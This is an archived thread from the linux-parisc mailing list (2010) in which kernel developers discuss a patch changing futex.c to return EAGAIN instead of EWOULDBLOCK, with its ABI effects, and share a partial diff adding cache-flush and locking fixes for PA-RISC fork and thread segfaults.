From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Fri, 14 May 2010 13:20:15 -0600
Lines: 137
Approved: news@gmane.org
Message-ID: <20100514192015.GB14840@lackof.org>
References: <4BE86174.1080008@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273864828 23596 80.91.229.12 (14 May 2010 19:20:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 14 May 2010 19:20:28 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 14 21:20:26 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OD0Qr-0001Ru-BF
	for glpp-linux-parisc@lo.gmane.org; Fri, 14 May 2010 21:20:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754190Ab0ENTUY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 May 2010 15:20:24 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:36952 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753991Ab0ENTUY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 May 2010 15:20:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id BB70833E0241;
	Fri, 14 May 2010 13:20:23 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id h0suFqKOnlub; Fri, 14 May 2010 13:20:15 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 0EF6733E0283; Fri, 14 May 2010 13:20:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4BE86174.1080008@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2857
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2857>

On Mon, May 10, 2010 at 09:41:40PM +0200, Helge Deller wrote:
> Since PARISC is the only Linux architecture which has different values
> for EAGAIN and EWOULDBLOCK, we are running in various issues.
> 
> One of them is, that e.g. glibc checks for EAGAIN instead of EWOULDBLOCK
> (and vise versa) in nptl/pthread_mutex_trylock.c. This doesn't hurt
> other architectures, but it hurts parisc.
> 
> I was planning to send the patch below to linux kernel mailing list.
> But before I do it, I would like to get feedback from the kernel
> hackers here on the list.
> 
> What do you think?

Do it.
We kept them distinct to enable support for HPUX binaries.
This is never going to happen.

> Is this patch useful?

Yes.

> Or will people just call me an idiot if I ask if this patch could be applied?
> If you think it's useful, maybe another patch description would be more appropriate?

Could we just equate like other arcthitectures so the kernel only ever
returns one of those and not both?

> Any feedback is welcome...

Thanks for bringing this up! :)

cheers,
grant

> 
> Helge
> 
> -----------------------
> [PATCH] futex.c: return EAGAIN instead of EWOULDBLOCK
> 
> Patch summary:
> In the Linux kernel all architectures beside the PARISC architecture 
> define EWOULDBLOCK as EAGAIN:
> 
> arch/sparc/include/asm/errno.h:#define  EWOULDBLOCK     EAGAIN  /* Operation would block */
> arch/mips/include/asm/errno.h:#define   EWOULDBLOCK     EAGAIN  /* Operation would block */
> arch/alpha/include/asm/errno.h:#define  EWOULDBLOCK     EAGAIN  /* Operation would block */
> include/asm-generic/errno.h:#define     EWOULDBLOCK     EAGAIN  /* Operation would block */
> 
> The only exception is PARISC, which tries to keep HP-UX compatibility:
> arch/parisc/include/asm/errno.h:#define EWOULDBLOCK     246     /* Operation would block (Linux returns EAGAIN) */
> 
> This difference leads to various problems with userspace, which often 
> thinks that EWOULDBLOCK and EGAIN are of the same value. To avoid problems
> userspace sometimes has to check the return value for both values.
> 
> The following patch cleans up the Linux kernel futex implementation to
> always return EAGAIN instead of EWOULDBLOCK.
> Binary compatibility for all architectures beside PARISC is still kept,
> but on PARISC this will ease life a lot.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> diff --git a/kernel/futex.c b/kernel/futex.c
> index e7a35f1..28d14ff 100644
> --- a/kernel/futex.c
> +++ b/kernel/futex.c
> @@ -1732,7 +1732,7 @@ static void futex_wait_queue_me(struct futex_hash_bucket *hb, struct futex_q *q,
>   *
>   * Returns:
>   *  0 - uaddr contains val and hb has been locked
> - * <1 - -EFAULT or -EWOULDBLOCK (uaddr does not contain val) and hb is unlcoked
> + * <1 - -EFAULT or -EAGAIN (uaddr does not contain val) and hb is unlcoked
>   */
>  static int futex_wait_setup(u32 __user *uaddr, u32 val, int fshared,
>  			   struct futex_q *q, struct futex_hash_bucket **hb)
> @@ -1784,7 +1784,7 @@ retry_private:
>  
>  	if (uval != val) {
>  		queue_unlock(q, *hb);
> -		ret = -EWOULDBLOCK;
> +		ret = -EAGAIN;
>  	}
>  
>  out:
> @@ -1969,7 +1969,7 @@ retry_private:
>  	else {
>  		ret = rt_mutex_trylock(&q.pi_state->pi_mutex);
>  		/* Fixup the trylock return value: */
> -		ret = ret ? 0 : -EWOULDBLOCK;
> +		ret = ret ? 0 : -EAGAIN;
>  	}
>  
>  	spin_lock(q.lock_ptr);
> @@ -2154,7 +2154,7 @@ int handle_early_requeue_pi_wakeup(struct futex_hash_bucket *hb,
>  		plist_del(&q->list, &q->list.plist);
>  
>  		/* Handle spurious wakeups gracefully */
> -		ret = -EWOULDBLOCK;
> +		ret = -EAGAIN;
>  		if (timeout && !timeout->task)
>  			ret = -ETIMEDOUT;
>  		else if (signal_pending(current))
> @@ -2196,7 +2196,7 @@ int handle_early_requeue_pi_wakeup(struct futex_hash_bucket *hb,
>   * 7) timeout
>   * 8) other lock acquisition failure
>   *
> - * If 6, return -EWOULDBLOCK (restarting the syscall would do the same).
> + * If 6, return -EAGAIN (restarting the syscall would do the same).
>   *
>   * If 4 or 7, we cleanup and return with -ETIMEDOUT.
>   *
> @@ -2318,10 +2318,10 @@ static int futex_wait_requeue_pi(u32 __user *uaddr, int fshared,
>  		 * We've already been requeued, but cannot restart by calling
>  		 * futex_lock_pi() directly. We could restart this syscall, but
>  		 * it would detect that the user space "val" changed and return
> -		 * -EWOULDBLOCK.  Save the overhead of the restart and return
> -		 * -EWOULDBLOCK directly.
> +		 * -EAGAIN.  Save the overhead of the restart and return
> +		 * -EAGAIN directly.
>  		 */
> -		ret = -EWOULDBLOCK;
> +		ret = -EAGAIN;
>  	}
>  
>  out_put_keys:
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 07:24:54 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1273922704 12127 80.91.229.12 (15 May 2010 11:25:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 11:25:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 15 13:25:02 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODFUJ-0006RL-0z
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 May 2010 13:24:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755198Ab0EOLY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 07:24:58 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:55659 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755179Ab0EOLY5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 07:24:57 -0400
Original-Received: by wyb36 with SMTP id 36so619367wyb.19
        for <linux-parisc@vger.kernel.org>; Sat, 15 May 2010 04:24:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=DQRhCkD7YzxHeCQhWXuQYGRSIJJuQ1SxKsDP4DP43zU=;
        b=eylUMalpJ01Z2arVlzqPmo/iY6wDGIUH1TPiXS3UNvy7ZItYqURpi+2nPwwRwqns8h
         vhdaG24BazhTc32rRWsy75TbQ6P2MzM0VHTw1R2xrIitjMcbi99E+W7ZJ+V0FXlfGBjS
         Z5GtHe8e2hAlDxA5nI24mZtyaCeM2/PDoWrHk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=Pr0KW3kPsKZ7cagJVxJm0A+iHSU3JfukaYmI+Dhx13UQt03a1gdhbLZo6vcuKUTcMH
         E9a2S56IOjNwlhH0TeCeycF93NwVXJf7pDNlHpa6ACh0sbcOssqUbOFPG0mtwVtoW++W
         7s8/HCyrjL6DaOp261m8Pb2c0oWysnYSrMuwY=
Original-Received: by 10.216.168.7 with SMTP id j7mr1575073wel.214.1273922696022; Sat, 
	15 May 2010 04:24:56 -0700 (PDT)
Original-Received: by 10.216.21.20 with HTTP; Sat, 15 May 2010 04:24:54 -0700 (PDT)
In-Reply-To: <20100514192015.GB14840@lackof.org>
X-Google-Sender-Auth: _lGgM9FhS59ox_8_HuXU2Ks3QY4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2858>

On Fri, May 14, 2010 at 3:20 PM, Grant Grundler
<grundler@parisc-linux.org> wrote:
> On Mon, May 10, 2010 at 09:41:40PM +0200, Helge Deller wrote:
>> Since PARISC is the only Linux architecture which has different values
>> for EAGAIN and EWOULDBLOCK, we are running in various issues.
>>
>> One of them is, that e.g. glibc checks for EAGAIN instead of EWOULDBLOCK
>> (and vise versa) in nptl/pthread_mutex_trylock.c. This doesn't hurt
>> other architectures, but it hurts parisc.
>>
>> I was planning to send the patch below to linux kernel mailing list.
>> But before I do it, I would like to get feedback from the kernel
>> hackers here on the list.
>>
>> What do you think?
>
> Do it.
> We kept them distinct to enable support for HPUX binaries.
> This is never going to happen.

Grant, does this mean you endorse purging the kernel of all uses of
EWOULDBLOCK (with the exception of the header file used by userspace)?

FWIW I think this is the right approach.

>> Is this patch useful?
>
> Yes.
>
>> Or will people just call me an idiot if I ask if this patch could be applied?
>> If you think it's useful, maybe another patch description would be more appropriate?
>
> Could we just equate like other arcthitectures so the kernel only ever
> returns one of those and not both?

There are ABI issues that I would like to discuss before you send your
patch upstream.

Once you change the kernel EWOULDBLOCK to be equal to EAGAIN, you have
broken the ABI.

A kernel syscall that used to return EWOULDBLOCK, now returns EAGAIN.

An application that checked only for EWOULDBLOCK might fail now that
EAGAIN is being returned.

Is this a concern? I don't think it is. The POSIX standard, in all
cases I could find, says the functions return "EAGAIN or EWOULDBLOCK",
meaning that a conforming program must check for both.

The alternative to Helge's patch is a glibc patch to check the return
of *every* syscall and convert EWOULDBLOCK to EAGAIN. This approach
has a cost to our syscall fast path. Therefore I am not as inclined to
follow this approach.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 13:27:49 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20100515172749.GE6764@bombadil.infradead.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273944477 10419 80.91.229.12 (15 May 2010 17:27:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 17:27:57 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 15 19:27:56 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODL9W-0006qI-Qp
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 May 2010 19:27:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751998Ab0EOR1y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 13:27:54 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34105 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751054Ab0EOR1x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 13:27:53 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1ODL9R-0006hq-I3; Sat, 15 May 2010 17:27:49 +0000
Content-Disposition: inline
In-Reply-To: <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2859>

On Sat, May 15, 2010 at 07:24:54AM -0400, Carlos O'Donell wrote:
> An application that checked only for EWOULDBLOCK might fail now that
> EAGAIN is being returned.
> 
> Is this a concern? I don't think it is. The POSIX standard, in all
> cases I could find, says the functions return "EAGAIN or EWOULDBLOCK",
> meaning that a conforming program must check for both.
> 

It's a two instruction penalty(*) in the kernel syscall return path, just
do it there. I've got a box at Red Hat with all the source to the whole
damn world on it we run greps against to look for dumb stuff like memcpy
bugs. I'll toss a grep for EAGAIN and not EWOULDBLOCK and vice versa and
see how much stuff might b0rk.

We discussed this a couple years ago, and it ended up being a complete
rats nest of error returns that needed fixing.

regards, Kyle.

*: CMPI,N(=), LDI, maybe a third since I don't remember how sign
extension works off the top of my head.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 15 May 2010 17:02:52 -0400
Organization: nrc.ca
Lines: 1391
Approved: news@gmane.org
Message-ID: <20100515210251.GA16614@hiauly1.hia.nrc.ca>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca> <4BE9CEF6.7010203@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="tThc/1wpZn/ma/RB"
X-Trace: dough.gmane.org 1273957384 15319 80.91.229.12 (15 May 2010 21:03:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 21:03:04 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 15 23:03:01 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODOVe-0003En-QX
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 May 2010 23:02:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752751Ab0EOVC5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 17:02:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1880 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752564Ab0EOVCz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 17:02:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 80E374EF4; Sat, 15 May 2010 17:02:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BE9CEF6.7010203@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2860>


--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 11 May 2010, Helge Deller wrote:

> On 05/11/2010 11:26 PM, John David Anglin wrote:
> >> On 05/10/2010 09:20 PM, Helge Deller wrote:
> >>> On 05/10/2010 04:56 PM, John David Anglin wrote:
> >>>> Yes, just after sending, I noticed gcc testsuite and minifail were
> >>>> broken on gsyprf11.  [...]
> >>>>
> >>>> The attached works better on gsyprf11.  I haven't tested it on anything
> >>>> else.
> >>
> >> Hi Dave,
> >>
> >> I still can see segfaults of the minifail_dave.cpp program.

I haven't seen any abnormal segfaults with the attached change on
my rp3440 and gsyprf11.  Need to flush in pte_wrprotect for minifail,
and to flush in copy_user_page to fix occasional segfaults in sh.
The flushes in kmap/kunmap weren't sufficient.

Still experimenting to see if number of flushes can be reduced, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="diff-20100514.d"

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..ad7df44 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_unlock_irqrestore(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..b90c895 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -104,21 +105,32 @@ void mark_rodata_ro(void);
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
+void *kmap_parisc(struct page *page);
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	return page_address(page);
+	return kmap_parisc(page);
 }
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return kmap_parisc(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_atomic(virt_to_page(ptr), (enum km_type) 0))
+#define kmap_flush_unused()	do {} while(0)
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..2c6da94 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -30,15 +30,21 @@
  */
 #define kern_addr_valid(addr)	(1)
 
+extern spinlock_t pa_pte_lock;
+extern spinlock_t pa_tlb_lock;
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
  */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
+#define set_pte(pteptr, pteval)					\
+        do {							\
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_pte_lock, flags);		\
                 *(pteptr) = (pteval);                           \
+		spin_unlock_irqrestore(&pa_pte_lock, flags);	\
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)	set_pte(ptep, pteval)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -262,6 +268,7 @@ extern unsigned long *empty_zero_page;
 #define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
@@ -410,6 +417,7 @@ extern void paging_init (void);
 
